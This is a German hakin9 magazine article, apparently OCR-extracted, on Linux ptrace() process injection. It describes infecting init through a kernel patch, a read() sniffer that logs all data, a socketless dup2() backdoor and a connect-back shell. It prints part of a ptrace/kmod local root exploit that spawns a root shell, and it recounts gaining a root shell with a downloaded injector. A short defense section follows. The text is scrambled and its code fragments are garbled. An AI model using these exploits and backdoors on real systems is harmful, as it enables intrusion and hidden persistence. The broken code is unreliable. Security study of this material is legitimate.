Normalerweise ist es nicht möglich, den init Prozess zu tracen, doch mit einem kleinen Trick können wir dies umgehen und somit den init Prozess infizieren. Werfen wir einen Blick in den Quellcode von ptrace() selbst in arch/i386/kernel/ptrace.c:

```
ret = -EPERM;
if (pid == 1) /* you may not mess
with init */
goto out_tsk;
if (request ==
PTRACE_ATTACH) {
ret = ptrace_attach(child);
goto out_tsk;
}
```

Christophe Devine schrieb ein kleines Programm, dass unter der GNU Lizenz veröffentlicht wurde, welches es uns ermöglicht, den Kernel in Runtime zu patchen. Somit haben wir die Möglichkeit, init zu tracen. Ich füge den Code diesem Artikel in Listings 8a und 8b bei. Nachdem wir dev/kmem verändert haben, können wir den init-Prozess infizieren. Der einzige Nachteil hierbei ist, dass init nun nicht mehr am Anfang der Prozessliste aufgeführt wird, sondern

am Ende. Dies könnte verraten, dass das System infiziert wurde.

read() Sniffer

Genug mit der Theorie, lassen Sie uns einen read()-sniffer erstellen. Wir injizieren einen Parasiten in das .Text-Segment und überschreiben die GOT Adresse der read()-Funktion, damit Sie auf unseren Parasiten zeigt.

Unsere Backdoor read()-Funktion wird sich genau so verhalten,

wie die originale Funktion und ausserdem noch alle Daten in eine log-Datei schreiben. Code sagt mehr als 1000 Worte, also lassen Sie uns beginnen. Als erstes werfen wir einen Blick auf unseren Code in Listing 6.

Eine wichtige Anmerkung um langes Debugging zu vermeiden: merken Sie sich, dass es Unterschiede in inline asm() bei gcc gibt. Wärend das Beispiel aus Listing 6. bei manchen Versionen ohne Probleme funktioniert, könnte es bei neueren

Versionen zu Problemen kommen. Um dieses Problem zu beheben, machen Sie es einfach wie in dem ersten Injektions-Beispiel z.B.:

```
asm("movl $1, %eax\n"
"movl $123, %ebx\n"
"int $0x80\n");
```

Gut, unser sog. Payload Code ist fertig! Hierbei handelt es sich um den Kern des Backdoors. Nun befassen wir uns mit den benötigten Funktionen. (Listing 7). Kommentare finden Sie über jeder Funktion:

dup2() Backdoor

Dieses Backdoor ist gut versteckt, da es nicht mit Programmen wie netstat angezeigt wird. Offensichtlich benutzt es keine Sockets, deshalb benötigen wir eine eigene Shell Implementierung.

Wenn Sie Ihre Shell erstellen, denken Sie noch einmal darüber nach, wie eine Bindshell funktioniert. Sie dupliziert die Descriptors (mit dup2()) stdout/in/err damit die Shell auf unserer Seite und nicht auf der Serverseite ausgeführt wird. Unser Code benutzt keine Sockets, deshalb ist er auch ziemlich gut versteckt vor den Augen eines Standard-Admins.

Der injizierte Code kann auf alle Daten eines Prozesses zugreifen, inklusive der Descriptoren. Wenn wir einen entfernten Server Prozess aufrufen, führt er zuerst fork() und dann accept() aus. Somit erstellt der Prozess neue Descriptoren für uns, deren Nummern wir benötigen. Wir haben einige Möglichkeiten, diese zu erhalten:

- Wir könnten accept() mit einer eigenen Version überschreiben, welche alle Werte in einer Datei speichern würde;
- Wir könnten das Proc-Filesystem benutzen, um den Status der benutzen Descriptoren in /proc/_ pid_/fd zu sehen. Versuchen Sie einfach den letzten Descriptor. Diese Methode ist allerdings nicht sehr gut. Erstens würden Sie viel Code zur Realisierung benötigen

hakin9 Nr 2/2007

Listing 9b. Linux Kernel ptrace/kmod lokale Schwachstelle

```
void sigalrm(int signo)
   errno = ECANCELED;
   fatal("[-] Fatal error");
void do child(void)
   int err:
  child = getpid();
  victim = child + 1;
  signal(SIGCHLD, sigchld);
  err = ptrace(PTRACE ATTACH, victim, 0, 0);
   while (err == -1 && errno == ESRCH);
   if (err == -1)
   fatal("[-] Unable to attach");
   fprintf(stderr, "[+] Attached to d\n", victim);
   while (!gotchild) ;
   if (ptrace(PTRACE SYSCALL, victim, 0, 0) == -1)
   fatal("[-] Unable to setup syscall trace");
   fprintf(stderr, "[+] Waiting for signal\n");
   for(;;);
void do parent(char * progname)
   struct stat st;
  int err;
   errno = 0;
  socket (AF SECURITY, SOCK STREAM, 1);
   err = stat(progname, &st);
   } while (err == 0 && (st.st mode & S ISUID) != S ISUID);
   if (err == -1)
   fatal("[-] Unable to stat myself");
   alarm(0);
   system(progname);
void prepare(void)
   if (geteuid() == 0) {
  initgroups("root", 0);
  setgid(0);
   setuid(0);
   execl ( PATH BSHELL, PATH BSHELL, NULL);
   fatal("[-] Unable to spawn shell");
int main(int argc, char ** argv)
```



Listing 9c. Linux Kernel ptrace/ kmod lokale Schwachstelle

```
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
```

und zweitens, ist procfs nicht auf allen Systemen verfügbar;

 Die dup2() Methode. Es wird kein extra Code benötigt, aber ist auch leider nicht sehr portabel. Der Prozess hat eine statische Anzahl von Descriptoren, die wir mit strace verfolgen können. Ein kleines Beispiel mit Netcat: \$nc -lp 1111 Geben Sie die PID mit strace -p an und führen telnet localhost 1111 aus, um den Wert von accept() zu erhalten. (Normalerweise 3 oder 4).

Nachdem Sie den Descriptor erhalten haben, duplizieren Sie ihn einfach an stdout/in/err. Nun ist Ihr Backdoor fertig! Dieses Backdoor kann nützlich auf Systemen mit harten Firewall-Regeln sein, wenn nur einige wenige Services erlaubt werden und der restliche Traffic gefiltert wird.

Connect back

Normalerweise möchten Sie eine Bindshell, aber was wenn die Firewall diese Aktion nun blockiert? In diesem Fall benötigen wir einen Connect Back Code, der zu uns zurück

```
verbindet. In den meisten Fällen sind alle ausgehenden Services erlaubt, doch manchmal sind nur einige wenige Ports nach Aussen offen. In dieser Situation müssen Sie priviligierte Ports versuchen, wie zum Beispiel DNS (Port 53), WWW (Port 80) oder FTP (Port 21).
```

Nun müssen wir nur einen simplen Connect Back Payload erstellen, was mit unserem gelernten Wissen kein Problem mehr darstellen dürfte. Für den Anfang würde ich Ihnen vorschlagen, dass Sie eine feste IP benutzen und diese dann einfach mit einem #define festlegen - #define CB_IP 127.0.0.1 Danach müssen Sie nur noch ein connect() und /bin/sh - i ausführen.

Real life example

Nach all der Theorie möchten Sie einen Infektor in Aktion sehen, nicht wahr? Also lassen Sie uns beginnen! In Abbildung 1 sehen Sie den Download eines ptrace ()-Injektors. Dieses Programm nennt sich Malaria und wurde im Internet gefunden.

Wir werden einen Netcat-Prozess im Hintergrund starten, welcher als unser Angriffsziel dient.(siehe Abbildung 2.)

Nachdem unser Shellcode nun in den Speicher geladen wurde, sehen wir auf dem letzten

Screenshot (Abbildung 3.), dass ein neuer TCP-Port geöffnet wurde, der auf Verbindungen wartet. Wenn wir uns nun als Client dort verbinden, erhalten wir eine root-Shell und somit Superuser Rechte!

Dies war ein Beispiel mit einem einfachen Injektor, den ich im Internet gefunden habe. Wenn Sie mehr Code ausprobieren möchten, schlage ich Ihnen vor, bei Google zu stöbern.

Schutz vor ptrace() Attacken

Befor wir uns damit befassen, wie wir uns vor solchen Angriffen schützen können, müssen wir erst einmal überlegen, wie wir solche Infektionen überhaupt feststellen können. Der beste Weg um eine ptrace() Infektion festzustellen, ist

Figure 2. Infizieren eines Prozesses

Figure 1. Download und Kompilation eines Injektors

den Global Offset Table zu überprüfen. Sie könnten auch ein LKM schreiben, welches die ptrace()-Funktion auf den root-User limitiert, denn wenn ein Angreifer einmal root Rechte erlangt hat, müssen Sie sich keine Gedanken machen, welches Backdoor er benutzt, sondern wie er überhaupt Zugriff auf Ihren Rechner erhalten hat! Danach folgt normalerweise immer eine Neuinstallation. Ein LKM wie ich es bereits erwähnt habe, finden Sie im Internet.

Appendix

Listing 8a und 8b: 2.4.x kernel patcher that allows ptracing the init process (Copyright (c) 2003 Christophe Devine devine-@iie.cnam.fr). This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the Li-

cense, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.

Listings 9a bis c: Linux kernel ptrace/kmod local root exploit. This code exploits a race condition in kernel/kmod.c, which creates kernel thread in insecure manner. This bug allows to ptrace cloned process, allowing to take control over privileged modprobe binary. Should work under all current 2.2.x and 2.4.x kernels. I discovered this stupid bug independently on January 25, 2003,

Figure 3. Testen des Backdoors

Im Internet

- http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrf1/ptrace.htm technical Reference: Base Operating System and Extensions, Volume 1;
- http://www.phrack.com/phrack/59/p59-0x0c.txt building ptrace injecting shellcodes;
- http://www.die.net/doc/linux/man/man2/ptrace.2.html man 2 ptrace.

Über den Autor

Der Autor beschäftigt sich seit über 10 Jahren mit IT Sicherheit und hat als Security-Administrator und Software-Entwickler gearbeitet. Seit 2004 ist er Geschäftsführer der Firma GroundZero Security Research in Deutschland. Er schreibt immernoch sog. Proof of Concept Exploit Code, beteiligt sich aktiv an Sicherheitsforschungen und führt Penetration Tests für Kunden aus.

that is (almost) two month before it was fixed and published by Red Hat and others. Wojciech Purczynski cliph@isec.pl THIS PROGRAM IS FOR EDUCATIONAL PURPOSES ONLY IT IS PROVIDED AS IS AND WITHOUT ANY WARRANTY ((c) 2003 Copyright by iSEC Security Research)

Wir haben gerade einen guten Weg gelernt, um laufende Programme zu manipulieren. Dies gibt uns unzählige Möglichkeiten den Programmablauf zu ändern, um totale Kontrolle über die Software zu erhalten

Sagen wir, Sie haben einen Daemon, dessen Source Code nicht öffentlich und die Protokollierung Ihnen zu ungenau ist. Normalerweise müssten Sie damit leben, oder den Hersteller bitten, die Software zu ändern. Nun können Sie dies einfach selbst erledigen. Sie schreiben ein kleines ptrace()-Injektions-Tool, dass die Protokollierungsfunktion ersetzt, oder Sie loggen einfach alles indem sie read() bzw. write() ändern.

Oftmals wird dieses Wissen auch von Sicherheitsspezialisten (sog. Penetration Tester) verwendet, um mit Hilfe von ptrace()-Injektions Shellcodes ein chroot() zu umgehen, oder von Hackern um Backdoors in Binärdateien zu injizieren. Dieses neu erworbene Wissen gibt Ihnen mehr Flexibilität in Administrationstätigkeiten, wenn Sie mit Closed Source Software arbeiten. Eigentlich wurde die ptrace Funktion für debugging Zwecke entwickelt. Bekannte Programme wie strace oder Itrace benutzen diese Funtion, um den Programmablauf zu verfolgen. Somit ist es möglich, Probleme schnell zu entdecken. Kurz gesagt, ermöglicht die ptrace() Systemcall einem Prozess, einen anderen Prozess zu kontrollieren. Der kontrollierte Prozess wird normal ausgeführt, bis er ein Signal empfängt. Leider ist ptrace sehr architekturbezogen, d.h. Programme, die ptrace benutzen, sind oft nicht einfach auf andere Architekturen übertragbar.

hakin9 Nr 2/2007